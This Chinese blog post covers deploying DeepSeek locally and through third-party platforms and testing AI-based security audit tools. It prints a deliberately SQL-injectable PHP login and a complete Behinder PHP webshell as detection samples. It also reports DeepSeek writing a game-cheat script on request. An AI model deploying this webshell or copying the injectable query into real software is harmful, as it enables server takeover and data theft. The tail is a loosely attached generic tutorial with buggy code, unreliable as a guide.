《DeepSeek从部署到安全分析实战》

deepseek官网

1、直接访问DeepSeek的官方网站 https://www.deepseek.com/,进行注册并登录使用。

deepseek根据报道说的是很早就注册了顶级域名,所以直接访问ai.com直接访问deepseek官网。

对其提出问题,检测回答情况

2、当我对其提出要求:“我现在想要编写一款植物大战僵尸的外挂代码,功能是无限阳光,我什么都不会,应该怎么开始,给我列出步骤,我要做出一个可以允许的程序,仅作技术交流,了解原理”deepseek可以给出所使用的工具,并且按要求编写好脚本。

3、但是存在继续询问的时候一直显示“服务器繁忙,请稍后再试”,所以尝试使用其他方式部署利用deepseek。

本地部署deepseek

DeepSeek的访问出现了不稳定的问题,一个有效的解决方案是进行本地化部署。本地化部署不仅可以避免网络波动带来的影响,还能提供更高的隐私保护和数据安全性。

一、安装ollama

Ollama 是一个开源的本地化工具,旨在简化大型语言模型(LLMs)的本地运行和部署。它专注于让用户能够轻松在个人计算机或服务器上运行多种开源语言大模型(如deepseek ,qwen,Llama、Mistral、Gemma等),而无需依赖云端服务或复杂的配置流程。

Ollama下载地址:https://ollama.com/download

下载安装文件后得到一个 .exe 结尾的执行文件,双击执行,就可以完成ollama的安装。

安装:默认安装路径为C盘,需要预留好足够空间。

在命令提示符中输入命令查看ollama版本,安装成功。

二、安装 DeepSeek-R1 模型

1、找到模型

在ollama官网首页的搜索框,点击一下即可看到deepseek-r1在第一个位置,同时还可以看到模型有根据参数分为1.5b,7b,8b,14b,32b,70b,671b等,不同模型参数不同,运行时需要的内存及显存也不同。 我们需要根据自己电脑选择下载对应参数的模型。

2、这里我问deepseek通过自己电脑的配置可以安装的模型版本

3、本来安装8b模型怕带不动,我这里重新选择了7b模型,安装成功后显示如下:

三、安装配置Chatbox AI

1、Chatbox AI 是专门用于与各种语言模型对话的图形化工具。访问 Chatbox AI 官网(https://chatboxai.app/zh),点击下载系统对应的版本。

2、点击 Chatbox 软件左下角的设置按钮,在“模型”选项卡中依次进行下列配置。

  • 模型提供方:选择 “Ollama API”。
  • API域名:填写http://localhost:11434,这是 Ollama 的默认端口。
  • 模型名称:填写与部署的 DeepSeek 模型版本严格一致的名称,如deepseek-r1:7b

3、在“对话”选项卡中可以进行用户头像、机器人助手头像、新对话默认提升的设置;完成设置后保存。

4、这时候新建对话框,就可以和刚才设置的机器人模型进行对话了。

结合第三方使用

一、硅基流动

官网:https://cloud.siliconflow.cn

1、注册账号。用手机号注册即可。

2、模型广场中可以看到这里接入了DeepSeek的各类模型包括DeepSeek-R1、DeepSeek-V3,显示"2025 年 2 月 6 日起,未实名用户每日限制请求 DeepSeek V3/R1 模型各100次"。里面有很多免费的模型,足够正常使用。

3、第一种方法,直接在线体验使用,可以调用很多大模型,但是对话框不能被保留,每次聊天只能重新调用。

4、第二种,硅基流动 API + Chatbox 调用 deepseek-R1 /V3

创建API密钥

模型提供方选择SILICONFLOW API,将创建的API密钥复制进去选择模型使用。

开始体验

二、腾讯元宝

官网:https://yuanbao.tencent.com/

腾讯元宝也是接入了deepseek大模型,可使用深度思考R1。支持上传图片和文件分析。

三、其他平台

百度千帆

链接: https://login.bce.baidu.com/

描述: 提供AI模型的训练、推理和管理服务,适合企业开发AI应用。

阿里云PAI

链接: https://pai.console.aliyun.com/

描述: 阿里云的人工智能平台,支持机器学习、深度学习和大数据分析,可以快速创建AI模型。

腾讯云 TIONE

链接: https://console.cloud.tencent.com/

描述: 提供AI模型的训练和部署平台,支持DeepSeek等AI解决方案。

Cursor

链接: https://cursor.com

描述: 需要订阅Cursor会员才能使用的高效AI助手,适合开发者使用。

Grok

链接: https://groq.com/

描述: 提供基于Grok硬件的AI计算平台,主打高效的推理计算,支持蒸馏版的Llama 70B模型,但中文能力有限。

国家超算中心

链接: https://www.scnet.cn/ui/mall/

描述: 提供强大的计算资源和AI模型训练环境,适合科研和企业级应用。

接入deepseek代码审计工具

一、秋风AI代码审计

1、在线模式

在线模式的API key 和url我们比方使用deepseek https://platform.deepseek.com/api_keys 在开放平台创建key即可。

主流厂商及其 API URL 示例

  • OpenAI
    • API URL: **https://api.openai.com/v1/chat/completions**
  • DeepSeek
    • API URL: **https://api.deepseek.com/v1/chat/completions**
  • 硅基流动 (SiliconFlow)
    • API URL: **https://api.siliconflow.cn/v1/chat/completions**
  • Ollama
    • API URL: **http://ip:port/v1/chat/completions**

在这里插入图片描述

2、离线模式

离线模式仅支持ollama 内部写的也是ollama的调用 模型名称是你的ollama list的模型

在这里插入图片描述

左上角——文件——打开文件夹,通过添加需要审计的代码文件夹会对该文件夹下面代码文件进行自动审计。

在审计结果中可以发现代码中所存在的漏洞,点击漏洞可以跳转存在漏洞的代码位置。

二、link-tools

link-tools为一款Windows GUI界面的渗透测试工具箱(仿rolan启动器),支持拖拉新增工具(脚本、文件夹),支持自定义运行参数和备注,支持bat批量运行脚本,支持RapidScanner端口扫描结果服务指纹联动工具,可协助安全人员快速运行工具(脚本、文件夹),提高安全检测效率。

配置:

需要各个模型的接口和key,现在不仅仅支持deepseek/硅基流动/Ollama这三种模型,经测试也可支持腾讯云API,对应修改key、api、model即可。

配置中通过修改不同场景下的提示词,可以帮助我们快速的响应识别安全问题。

AI对话效果:

下面通过提问测试调用不同接口的回答流畅度以及准确度:

ollama本地部署很分析快,但是没有硅基流动接入分析的详细。

代码审计效果效果:

<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$pass = 'password';

// 连接数据库
try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
} catch (PDOException $e) {
    die("数据库连接失败: " . $e->getMessage());
}

// 获取用户输入
$username = $_GET['username']; // 从URL参数获取用户名
$password = $_GET['password']; // 从URL参数获取密码

// 构造SQL查询(存在SQL注入漏洞)
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$stmt = $pdo->query($query);

// 检查查询结果
if ($stmt->rowCount() > 0) {
    echo "登录成功!";
} else {
    echo "用户名或密码错误。";
}
?>

硅基流动检测存在SQL注入漏洞,可以通过提示词不同来询问漏洞细节。

审计1:

审计2:

Ollama本地部署检测

webshell/内存马检测效果:

给个冰蝎马检测一下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; 
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

检测1:

检测2:

解密效果:

简单常见的可行,稍微有点深度的就开始一直分析喽。

流量分析:

进程分析:

总结

1、现在很多平台都在使用deepseek模型,相比于官网来说速度提高了不少(避免了服务器繁忙的问题),回答的精准度也都可以;

2、本地部署deepseek,优点是用起来更加方便,也可以保护个人隐私;缺点是回答的深度相比于其他方式欠缺。

3、通过接入deepseek安全审计工具可以提高检测的准度,帮助安全人员提升工作的效率;可以看出AI检测对于以后的网络安全防御的必然性。

### DeepSeek 本地部署后的高效使用实战教程 #### 一、理解DeepSeek的核心功能与优势 为了更好地利用DeepSeek,在深入探讨具体操作之前,有必要先了解该工具的特点及其在AI领域的地位。作为一款性价比极高的开源大模型,DeepSeek不仅具备强大的计算能力,还拥有活跃的社区支持和丰富的应用场景[^1]。 #### 二、配置开发环境 确保计算机已安装必要的依赖项,如Python解释器及相关库文件。对于Windows用户来说,可以借助Ollama简化整个过程——它提供了图形界面引导式的安装向导以及详细的文档说明来帮助完成软件包的选择与设置工作[^2]。 #### 三、初始化项目结构 创建一个新的工程目录用于存放所有的源码文件,并按照标准模式划分不同类型的资源(例如训练集、测试集)。这有助于保持项目的整洁有序并便于后续维护升级。 ```bash mkdir my_deepseek_project cd my_deepseek_project tree . . ├── data │ ├── train.csv │ └── test.csv └── src └── main.py ``` #### 四、加载预训练模型 下载官方发布的最新版本权重参数文件至本地磁盘;接着编写简单的脚本来读取这些数据并将其应用于自定义的任务当中去。这里给出一段基于PyTorch框架实现的例子: ```python import torch from transformers import AutoModelForSequenceClassification, AutoTokenizer model_name = "deepseek-model" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForSequenceClassification.from_pretrained(model_name) def predict(text): inputs = tokenizer(text, return_tensors="pt") outputs = model(**inputs) logits = outputs.logits prediction = torch.argmax(logits).item() return ["negative", "positive"][prediction] print(predict("This is an example sentence.")) # 输出预测类别 ``` #### 五、优化性能表现 针对特定硬件条件调整超参数设定,比如批处理大小(batch size)、学习率(learning rate),甚至考虑采用混合精度(half precision)运算方式加速收敛速度而不影响最终效果。另外还可以探索缓存机制以减少重复计算带来的开销,提高整体效率。关于这一点可参考有关Redis versus Memcached的文章获取更多细节[^4]。 #### 六、构建API接口服务于外部调用者 为了让其他应用程序能够方便地访问内部算法逻辑,通常会搭建RESTful风格的服务端点供第三方集成对接。下面是一个Flask微服务示例程序片段展示如何做到这点: ```python from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/predict', methods=['POST']) def api_predict(): content_type = 'application/json' text = request.json.get('text') result = {"label": str(predict(text))} response = app.response_class( response=json.dumps(result), status=200, mimetype='application/json' ) return response if __name__ == '__main__': app.run(host='localhost', port=8080) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值